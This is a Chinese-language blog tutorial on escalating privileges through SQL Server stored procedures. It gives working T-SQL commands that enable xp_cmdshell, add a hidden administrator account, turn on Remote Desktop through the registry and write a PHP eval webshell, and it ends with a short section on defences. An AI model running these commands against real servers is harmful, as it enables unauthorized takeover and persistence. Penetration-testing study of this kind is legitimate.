Loading

SQL Sever提权

前言:渗透测试中提权是较为重要的环节,若以低权限身份进行后渗透,测试出的问题相对于高权限的质量会低很多,从一个普通用户,通过手段让自己变为管理员,也可利用操作系统或者应用程序中的错误,设计缺陷或者配置错误来获取最高权限;

提权就是通过各种办法和漏洞,提高自己在服务器中的权限,以便控制全局。

Windows:User >> System
Linux:User >> Root

提权方式

1、系统漏洞提权(Linux、windows)
2、数据库提权
3、系统配置错误提权
4、权限继承类提权
5、第三方软件提权
6、websever漏洞提权

系统库

image

存储过程

一、介绍
存储过程是一个可编程的函数,它在数据库中创建并保存,是存储在服务器中的一组预编译过的T-SQL(SQL语言版本之一,只能在SQLserver使用)语句。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式(可以将存储过程理解为函数调用的过程),使用execute命令执行存储过程。

二、分类
系统存储过程、扩展存储过程、用户自定义的存储过程。

  1. 系统存储过程主要存储在master数据库中,以"sp_"为前缀,在任何数据库中都可以调用,在调用的时候不必在存储过程前加上数据库名;
  2. 扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,以“xp_"为前缀,使用方法与系统存储过程类似;
  3. 用户定义的存储过程是SQLServer的使用者编写的存储过程;

三、执行
存储过程为数据库提供了强大的功能,但在相应的权限下,攻击者可以利用不同的存储过程执行不同的高级功能,如:创建数据库用户、枚举文件目录、执行任意系统命令等。正因如此,SQLserver2005、2008等之后的版本分别对存储过程做了权限控制,以防滥用。
以下提权方式多为利用存储过程进行提权,想要查看数据库中是否有对应的存储过程,可以用下面的语句,若返回结果为1,则说明已开启。
select count(*) from master.dbo.sysobjects where xtype='x' and name='sp_oacreate';
image

xp_cmdshell扩展存储过程提权

扩展存储过程中xp_cmdshell是一个开放接口,可以让SQLserver调用cmd命令,直接用SQL语句实现cmd操作,危害非常大。此存储过程在SQLserver2000中默认开启,2005本身及之后的版本默认禁止,所以想要使用该存储过程,就需要拥有SA账号相应权限,使用sp_configure(显示或更改当前服务器的全局配置设置)将其开启。
SA是Microsoft SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值。2005的xp_cmdshell的权限一般是system,而2008多数为nt authority\network service。

前提条件:
1、已获取到 sqlsever sysadmin权限用户的账号和密码;
2、SQL sever服务未降权;
3、SQL sever可以外连;

执行系统命令添加管理员账号提权

1、连接SQL sever数据库,检查xp_cmdshell是否开启
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
# xtype为对象类型,xtype='x'表示xp_cmdshell的对象类型为扩展存储过程

image
• 如果xp_cmdshell被删除,可以使用以下命令重新加载。
dbcc addextendedproc("xp_cmdshell","xplog70.dll");
• 如果连xplog70.dll文件都被被删除,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll';

2.启用xp_cmdshell扩展存储过程
exec sp_configure 'show advanced options',1;

# 默认情况下sp_configure无法查看和更改高级配置选项,show advanced options”用来显示或更改当前服务器的全局配置设置。当“显示高级选项” 设置为 1 时(默认值为 0),可以使用 sp_configure 列出、更改高级选项。

reconfigure;

/# reconfigure使语句执行后立即生效,若无此命令,需重启SQLserver后才生效。

exec sp_configure 'xp_cmdshell',1;

reconfigure;
image
3.查看权限
通过xp_cmdshell执行系统命令whoami,查看当前权限。
exec xp_cmdshell "whoami";
image
4.提权
exec xp_cmdshell "net user dudu dudu/add"
exec xp_cmdshell "net localgroup administrators dudu /add"
exec xp_cmdshell "net user dudu"

5.查看3389状态
exec master.dbo.xp_cmdshell 'netstat -ano';

image
这块儿可能会发现3389是没开的;

  1. 若目标主机未开启3389端口,可以使用以下命令开启。
    /# 使用写入注册表方式开启
    exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

    exec master..xp_cmdshell "REG ADD HKLMISYSTEMCurrentControlSetlControNTerminal" "Server Iv fDenyTSConnections /t REG_ DWORD /d 0 /f"
    exec xp_cmdshell 'netstat -ano';

这里有趣的是执行完,你还是看不见3389端口,真有趣;
image
管理员把3389改为3300了

7、提权恢复
• 关闭3389端口
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
• 关闭xp_cmdshell扩展存储过程
exec sp_configure 'xp_cmdshell',0;
reconfigure;
exec sp_configure 'show advanced options',0;
reconfigure;

写入文件提权

也可以用echo命令写入webshell到web目录,再使用菜刀或者蚁剑等工具连接shell这种方式进行提权。此方法中写入webshell不难,但获取绝对路径需要费些事儿。
其中一种办法可以使用cmd命令进行搜索文件、xp_dirtree、xp_subdirs等方式获取绝对路径。
execute xp_dirtree 'c:' # 列出所有c:\文件、目录、子目录
execute xp_dirtree 'c:',1 # 只列c:\目录
execute xp_dirtree 'c:',1,1 # 列c:\目录、文件
exec xp_cmdshell "echo '^<?php @eval($_POST[123]);?^>' >c:\2.php" # 写木马

三、防御
在确定不需要的情况下,删除:xp_cmdshell、xp_dirtree、xp_regread、xp_regdeletekey、xp_regdeletevalue、xp_regwrite、sp_oacreate、sp_oadestroy、sp_oagetErrorInfo、sp_oagetProperty、sp_oamethod、sp_oasetProperty、sp_oastop这些存储过程,移走相关的动态连接库文件,在需要的时候复制到原来的位置即可。
应用程序和网站在与后台的Microsoft SQLServer数据库连接时不要用SA等高权限的用户连接。
给SA等高权限的用户设置强密码。

sp_oacreate(无回显)

如果xp_cmdshell扩展存储过程被删除或者无法使用,可以使用sp_oacreate和sp_oamethod调用系统wscript.shell来执行系统命令。sp_oacreate是一个非常危险的存储过程,可以删除、复制、移动文件,还能配合sp_oamethod来写文件执行cmd。sp_oacreate和sp_oamethod两个过程分别用来创建和执行脚本语言,换言之就是xp_cmdshell能执行的sp_oacreate+sp_oamethod同样能胜任。

沙盒提权

• 当执行命令方法无法使用时,可以使用沙盒进行提权。沙盒模式(SandBoxMode)是一种安全功能。在沙盒模式下,Access 只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。例如,诸如Kill和Shell之类的函数可能被用来损坏计算机上的数据和文件,因此它们被视为不安全的。当Access以沙盒模式运行时,调用这些函数的表达式将会产生错误消息。
• OLE DB
OLE DB Driver for SQL Server 是用于访问数据的底层 COM API,是应用程序链接到SQL Server的的驱动程序。
• 其核心其实是修改注册表,默认情况下,注册表中mdb数据库不允许执行系统命令,但是开启沙盒模式,就准许mdb文件执行数据库,通过查询方式调用mdb文件,执行参数,绕过系统本身自己的执行命令,实现mdb文件执行命令。

posted @ 2021-06-22 09:41  王嘟嘟~  阅读(949)  评论(0编辑  收藏  举报